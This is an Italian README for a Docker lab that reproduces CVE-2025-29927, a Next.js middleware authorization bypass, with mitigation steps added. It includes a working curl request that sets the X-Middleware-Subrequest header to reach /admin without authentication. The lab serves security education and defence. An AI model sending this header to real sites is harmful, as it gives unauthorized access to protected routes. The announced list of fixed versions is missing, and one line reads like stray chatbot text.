
Lab basato su Docker per esplorare e riprodurre la vulnerabilità di bypass dell'autorizzazione middleware di Next.js CVE-2025-29927. Include app vulnerabile, passaggi di riproduzione e strategie di mitigazione per ricerca educativa sulla sicurezza.
Questo repository contiene un ambiente di laboratorio basato su Docker per esplorare e dimostrare la vulnerabilità Next.js CVE-2025-29927 in un ambiente controllato.
⚠️ DISCLAIMER: Questo laboratorio è solo a scopo educativo e di ricerca sulla sicurezza. Non esporlo a internet pubblico né utilizzarlo in produzione.
Assicurati di avere installato quanto segue:
Segui questi passaggi per clonare ed eseguire il laboratorio:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Questo farà:
.
├── app/ # Codice principale dell'app Next.js
├── public/ # Risorse statiche (immagini, ecc.)
├── Dockerfile # Setup Docker per l'app
├── docker-compose.yml # Configurazione di Compose
├── .env # Variabili d'ambiente (se presenti)
├── README.md # Sei qui
⚠️ AVVISO: Questa documentazione è solo a scopo educativo e di ricerca sulla sicurezza. Non distribuire l'app vulnerabile in un ambiente di produzione.
CVE-2025-29927 è una vulnerabilità critica di bypass dell'autorizzazione nel middleware di Next.js. Permette agli attaccanti di saltare l'autenticazione basata su middleware e accedere a rotte protette manipolando l'header X-Middleware-Subrequest.
Tenta di accedere a una rotta protetta, come /admin, senza alcuna autenticazione:
curl http://localhost:3000/admin
Comportamento Previsto: L'accesso è negato o reindirizzato a una pagina non autorizzata.
Comportamento Vulnerabile: L'accesso è concesso senza autenticazione.
X-Middleware-SubrequestInvia una richiesta con l'header X-Middleware-Subrequest per bypassare i controlli del middleware:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Risultato: Il middleware viene bypassato e l'accesso alla rotta protetta è concesso.
Aggiorna Next.js a una delle seguenti versioni in cui la vulnerabilità è stata risolta:
npm install next@latest
Migliora il tuo middleware per convalidare correttamente le richieste e rifiutare quelle con header sospetti:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continua con l'elaborazione normale
return NextResponse.next();
}
Se utilizzi un proxy inverso (es. Nginx), configuralo per rimuovere l'header X-Middleware-Subrequest dalle richieste in arrivo:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Questo file VULNERABILITY.md fornisce una guida completa per comprendere e riprodurre la vulnerabilità CVE-2025-29927 in un ambiente controllato. Offre inoltre strategie pratiche di mitigazione per proteggere le tue applicazioni Next.js da tali exploit.
Per una dimostrazione dettagliata e ulteriori approfondimenti su questa vulnerabilità, puoi fare riferimento alla demo completa dell'attacco fornita da Techtalkpine sul post del blog, a sua volta collegato alla demo live su Youtube: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Fammi sapere se hai bisogno di assistenza su una parte specifica di questa configurazione o di ulteriori chiarimenti sui passaggi di mitigazione.
Per fermare e rimuovere i contenitori:
docker-compose down
Questo progetto è inteso esclusivamente a scopo educativo e di ricerca. Sei responsabile dell'utilizzo in conformità con tutte le leggi applicabili e le linee guida etiche. L'autore non è responsabile per qualsiasi uso improprio o danno causato.